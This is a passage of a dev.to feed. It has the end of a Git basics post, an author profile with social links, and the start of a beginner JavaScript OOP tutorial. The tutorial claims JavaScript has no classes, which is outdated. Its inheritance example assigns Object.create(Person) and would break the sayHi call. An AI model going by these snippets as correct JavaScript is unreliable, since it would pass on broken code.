&lt;pre class="highlight shell"&gt;&lt;code&gt; git log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Checking Git branch
&lt;/h2&gt;

&lt;p&gt;A Git repository can have multiple branch including master branch. To know your git branch, issue the following on your terminal&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; git branch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;I tried to cover all the very basics of git in this article. I don’t want to make it complex. That’s why I don’t dive deep onto it. Hope you liked it. Thank you.&lt;/p&gt;
&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>github</category>
      <category>linux</category>
      <category>beginners</category>
    </item>
    <item>
      <title>[JavaScript] 7 OOP fundamentals you will need!</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Wed, 30 Jun 2021 20:26:25 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/javascript-7-oop-fundamentals-you-will-need-4hk8</link>
      <guid>https://dev.to/yumatsushima07/javascript-7-oop-fundamentals-you-will-need-4hk8</guid>
      <description>&lt;p&gt;Object Oriented Programming is one of the most popular ways in programming. Before OOP’s, list of instructions will be executed one by one. But in OOP’s we are dealing with Objects and how those objects interact with one another.&lt;/p&gt;

&lt;p&gt;JavaScript supports Object Oriented Programming but not in the same way as other OOP languages(C++, PHP, Java, etc.) do.&lt;/p&gt;

&lt;p&gt;The main difference between JavaScript and the other languages is that there are no Classes in JavaScript whereas Classes are very important for creating objects. However, there are ways through which we can simulate the Class concept in JavaScript. Another important difference is Data Hiding. There is no access specifier like (public, private and protected) in JavaScript but we can simulate the concept using the variable scope in functions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Object Oriented Programming Concepts
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;1) Object&lt;/li&gt;
&lt;li&gt;2) Class&lt;/li&gt;
&lt;li&gt;3) Constructor&lt;/li&gt;
&lt;li&gt;4) Inheritance&lt;/li&gt;
&lt;li&gt;5) Encapsulation&lt;/li&gt;
&lt;li&gt;6) Abstraction&lt;/li&gt;
&lt;li&gt;7) Polymorphism&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Preparing the workspace
&lt;/h3&gt;

&lt;p&gt;Create a new file &lt;code&gt;oops.html&lt;/code&gt; and write this code on it. We will write all our JavaScript code on this file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;[JavaScript] 7 OOP fundamentals you will need!&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="c1"&gt;//Write your code here.....&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  1) Object
&lt;/h4&gt;

&lt;p&gt;Any real time entity is considered as an Object. Every Object will have some properties and functions. For example, consider a person as an object, then he will have properties like name, age, etc., and functions such as walk, talk, eat, think, etc. now let us see how to create objects in JavaScript. As mentioned previously there are so many ways to create objects in JavaScript like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;//1)Creating Object through literal&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="c1"&gt;//2)Creating with Object.create&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//3)Creating using new keyword&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can use any of the above ways to create Object.&lt;/p&gt;

&lt;h4&gt;
  
  
  2) Class
&lt;/h4&gt;

&lt;p&gt;As I said earlier there are no classes in JavaScript as it is Prototype based language. But we can simulate the class concept using JavaScript functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;//Properties&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ben&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;18&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;//functions&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; Says Hi&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;//Creating person instance&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3) Constructor
&lt;/h4&gt;

&lt;p&gt;Actually, Constructor is a concept that comes under Classes. The constructor is used to assign values to the properties of the Class while creating an object using the new operator. In above code we have used name and age as properties for &lt;strong&gt;Person class&lt;/strong&gt;, now we will assign values while creating new objects for &lt;strong&gt;Person class&lt;/strong&gt; as below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;//Assigning values through constructor&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="c1"&gt;//functions&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; Says Hi&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;//Creating person instance&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ben&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="c1"&gt;//Creating Second person instance&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Mel&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4) Inheritance
&lt;/h4&gt;

&lt;p&gt;Inheritance is a process of getting the properties and function of one class to other class. For example, let’s consider &lt;code&gt;Student&lt;/code&gt; Class, here the Student also has the properties of name and age which have been used in Person class. So it’s much better to acquiring the properties of the Person instead of re-creating the properties. Now let’s see how we can do the inheritance concept in JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="c1"&gt;//1)Prototype based Inhertance&lt;/span&gt;
&lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="c1"&gt;//2)Inhertance throught Object.create&lt;/span&gt;
&lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;stobj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Student&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;stobj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sayHi&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can do inheritance in above two ways.&lt;/p&gt;

&lt;h4&gt;
  
  
  5) Encapsulation
&lt;/h4&gt;

&lt;p&gt;Before going on to Encapsulation and Abstraction first we need to know what Data Hiding is and how can we achieve it in JavaScript. Date hiding is protecting the data from accessing it outside the scope. For example, In Person class, we have Date of Birth (DOB) properties which should be protected. Let’s see how to do it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
